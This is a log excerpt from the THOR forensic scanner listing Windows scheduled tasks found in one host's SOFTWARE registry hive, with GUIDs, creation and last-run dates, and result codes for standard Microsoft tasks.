Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {91000DF4-3188-4A37-BCC0-D5CAF07C7604} PATH: \Microsoft\Windows\Multimedia\SystemSoundsService VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:00:38 2024 LAST_STOPPED: Tue Sep  3 08:59:41 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {941389BF-2920-4801-89A4-D8644E46FA47} PATH: \Microsoft\XblGameSave\XblGameSaveTask VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {947DB772-3965-4444-8542-9C789856B737} PATH: \Microsoft\Windows\AppID\VerifiedPublisherCertStoreCheck VERSION: 3 CREATED: Tue Aug 13 20:33:29 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {95FE2315-4715-4B80-8158-D9AA3FFE11D7} PATH: \Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeSystem VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:26 2024 LAST_STOPPED: Tue Sep  3 02:34:30 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {9693EA55-2106-4281-9195-6106D0B24708} PATH: \Microsoft\Windows\Work Folders\Work Folders Maintenance Work VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:53:53 2024 LAST_STOPPED: Tue Sep  3 09:53:53 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {97641BEA-ADC8-4A1D-9E72-83C15C2492AE} PATH: \Microsoft\Windows\AppxDeploymentClient\Pre-staged app cleanup VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Mon Jul 22 12:23:51 2024 LAST_STOPPED: Mon Jul 22 12:23:52 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {987F6860-11F5-47B3-889B-0A3D064576EE} PATH: \Microsoft\Windows\DiskFootprint\Diagnostics VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:05 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {9A1DB74C-AE95-4D62-9076-A43D16F71DB2} PATH: \Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStartTypeChange VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {9B4D9EF7-0AD9-417C-BB22-204A836ECA61} PATH: \Microsoft\Windows\Application Experience\PcaWallpaperAppDetect VERSION: 3 CREATED: Tue Jul 23 02:48:07 2024 LAST_RUN: Tue Sep  3 09:03:18 2024 LAST_STOPPED: Tue Sep  3 09:03:19 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {9BF20A50-726A-4FF3-9689-4726C673C4B3} PATH: \Microsoft\Windows\WindowsColorSystem\Calibration Loader VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:00:38 2024 LAST_STOPPED: Tue Sep  3 09:00:47 2024 STATUS: 00000000 LAST_RESULT: 05400080
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {9C88D42B-6058-46C0-AF51-B164A1AAB4DE} PATH: \Microsoft\Windows\Management\Provisioning\Logon VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:23:53 2024 LAST_STOPPED: Thu Aug 29 12:22:32 2024 STATUS: 00000000 LAST_RESULT: 2b040780
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {9CBBFAAE-DB9F-48B4-BAC0-4CFF482A4E01} PATH: \Microsoft\Windows\UpdateOrchestrator\StartOobeAppsScanAfterUpdate VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Aug 13 20:48:32 2024 LAST_STOPPED: Tue Aug 13 20:48:34 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {9FDBD88F-F89C-413A-BD74-F8B611D96994} PATH: \Microsoft\Windows\Task Manager\Interactive VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {A120AD1B-7097-4C69-9E62-F48FFE8BCD66} PATH: \Microsoft\Windows\Management\Autopilot\DetectHardwareChange VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {A4000BDE-9CB9-4BE4-A7E0-F98BAA4980FC} PATH: \Microsoft\Windows\Maps\MapsUpdateTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {A40C01E9-DD2D-40A0-A4F1-A8D3085B97CC} PATH: \Microsoft\Windows\EDP\EDP Auth Task VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {A5373F0A-E2EF-404D-B6DE-444C3CE321AA} PATH: \Microsoft\Windows\Clip\LicenseImdsIntegration VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {A614CC12-6697-48F7-AD95-C02E494F444A} PATH: \Microsoft\Windows\Shell\ThemeAssetTask_SyncFODState VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {A644AE8C-E9B4-4DD4-8180-42ECDEADCCD3} PATH: \Microsoft\Windows\AppID\PolicyConverter VERSION: 3 CREATED: Tue Aug 13 20:33:29 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {A6A52288-35BE-4837-BE85-B761556430D7} PATH: \Microsoft\Windows\Device Information\Device VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 01:31:43 2024 LAST_STOPPED: Tue Sep  3 01:31:49 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {A915EB91-4026-4A9B-94C4-FCA9D1A9EC3C} PATH: \Microsoft\Windows\Input\PenSyncDataAvailable VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Thu Jul 25 10:35:54 2024 LAST_STOPPED: Thu Jul 25 10:36:00 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {AA5D2D0C-B13E-4038-ABE6-CD139F9D3CE8} PATH: \Microsoft\Windows\File Classification Infrastructure\Property Definition Sync VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {AAEDE4D0-01E9-4646-BB07-779EE6B827F6} PATH: \Microsoft\Windows\Windows Defender\Windows Defender Cleanup VERSION: 3 CREATED: Wed Aug  7 23:45:04 2024 LAST_RUN: Tue Sep  3 00:33:02 2024 LAST_STOPPED: Tue Sep  3 00:34:02 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {AC34F56B-4D30-4AA0-8003-4D46DC4A73D6} PATH: \Microsoft\Windows\InstallService\ScanForUpdatesAsUser VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:04 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {ADE94B6F-A770-4E09-A7C3-FE0CBD14E1CE} PATH: \microsoft\windows\input\syncpensettings VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {AEA3E6CF-44EF-4781-B0B1-3CE5A8A7D038} PATH: \Microsoft\Windows\Management\Provisioning\MdmDiagnosticsCleanup VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Mon Jul 22 12:12:17 2024 LAST_STOPPED: Mon Jul 22 12:12:18 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {B0BF14AC-CEC8-4769-835E-4BA20FAE90E5} PATH: \Microsoft\Windows\Printing\PrinterCleanupTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Wed Aug  7 09:00:01 2024 LAST_STOPPED: Wed Aug  7 09:00:01 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {B0EF7ED7-B26A-4AF8-B38A-6ED43481B871} PATH: \Microsoft\Windows\CertificateServicesClient\UserTask-Roam VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Mon Sep  2 18:19:10 2024 LAST_STOPPED: Mon Sep  2 18:19:10 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {B1CE11D3-01E9-4E98-AD9E-32BD594B4DFF} PATH: \Microsoft\Windows\Maps\MapsToastTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {B4FBEFA9-6F7C-4C74-A891-3774B7BCD072} PATH: \Microsoft\Windows\UpdateOrchestrator\StartOobeAppsScan_LicenseAccepted VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Jun  4 02:28:02 2024 LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {B53BD60A-5823-411C-9C75-AA91DB3C35F8} PATH: \Microsoft\Windows\UpdateOrchestrator\UUS Failover Task VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {B5E83E2D-143E-49E6-B96C-971EC3C5BF4B} PATH: \Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated) VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {B76559E7-75DF-43A9-9BFD-B7D55EDCEB5F} PATH: \Microsoft\Windows\DeviceDirectoryClient\LocateCommandUserSession VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {B7BA9F05-0DE2-48A0-8282-F3A6045DA118} PATH: \Microsoft\Windows\Device Setup\Metadata Refresh VERSION: 3 CREATED: Sat May 25 02:25:42 2024 LAST_RUN: Tue Aug 27 11:48:16 2024 LAST_STOPPED: Tue Aug 27 11:48:19 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {B8D19533-CAD4-4AFA-8C17-FC1403200571} PATH: \Microsoft\Windows\DeviceDirectoryClient\RegisterDeviceProtectionStateChanged VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 09:13:20 2024 LAST_STOPPED: Tue Sep  3 09:13:20 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {BA2D7E09-CCF2-48F1-BF8A-0325763006AA} PATH: \Microsoft\Windows\USB\Usb-Notifications VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {BA6DCF9C-62B3-4791-8950-2F3001616230} PATH: \Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work VERSION: 3 CREATED: Tue Jun  4 02:29:05 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {BB021697-ABA9-40ED-9C0B-0F96EBCBA2DF} PATH: \Microsoft\Windows\Flighting\FeatureConfig\BootstrapUsageDataReporting VERSION: 3 CREATED: Tue Aug 13 20:33:30 2024 LAST_RUN: Tue Aug 13 20:37:37 2024 LAST_STOPPED: Tue Aug 13 20:37:37 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {BC0A6097-F752-4DF9-A567-0D788B2215D2} PATH: \Microsoft\Windows\Bluetooth\UninstallDeviceTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {BD30B767-86C3-4867-8DDE-468207782635} PATH: \Microsoft\Windows\BitLocker\BitLocker Encrypt All Drives VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {BD49FE01-E482-45A9-B96A-74E1FC798A41} PATH: \Microsoft\Windows\Subscription\LicenseAcquisition VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {BE69C4BA-5D43-47ED-A19E-9E27D3A1C9B0} PATH: \Microsoft\Windows\WDI\ResolutionHost VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Mon Sep  2 18:03:38 2024 LAST_STOPPED: Tue Jul 23 02:45:02 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {C0FDF5FF-5EDB-4087-8D0B-F1B205BD1985} PATH: \Microsoft\Windows\CertificateServicesClient\AikCertEnrollTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {C1B37C8C-08FE-4CAD-B779-3E534964BC10} PATH: \Microsoft\Windows\ConsentUX\UnifiedConsent\UnifiedConsentSyncTask VERSION: 3 CREATED: Tue Jul 23 02:48:15 2024 LAST_RUN: Tue Sep  3 09:03:18 2024 LAST_STOPPED: Tue Sep  3 09:03:18 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {C375B8E7-1D4F-4E57-90E7-3BEFD0DFCE06} PATH: \Microsoft\Windows\WlanSvc\MoProfileManagement VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {C4D57086-52E0-4318-B481-1CF2E6C505EF} PATH: \Microsoft\Windows\AppListBackup\Backup VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:03 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {C68DEF50-9094-469B-8AE1-7B82DE1329FB} PATH: \Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector VERSION: 3 CREATED: Wed May 22 02:25:42 2024 LAST_RUN: Wed Aug 28 02:32:57 2024 LAST_STOPPED: Wed Aug 28 02:33:00 2024 STATUS: 00000000 LAST_RESULT: 00000000
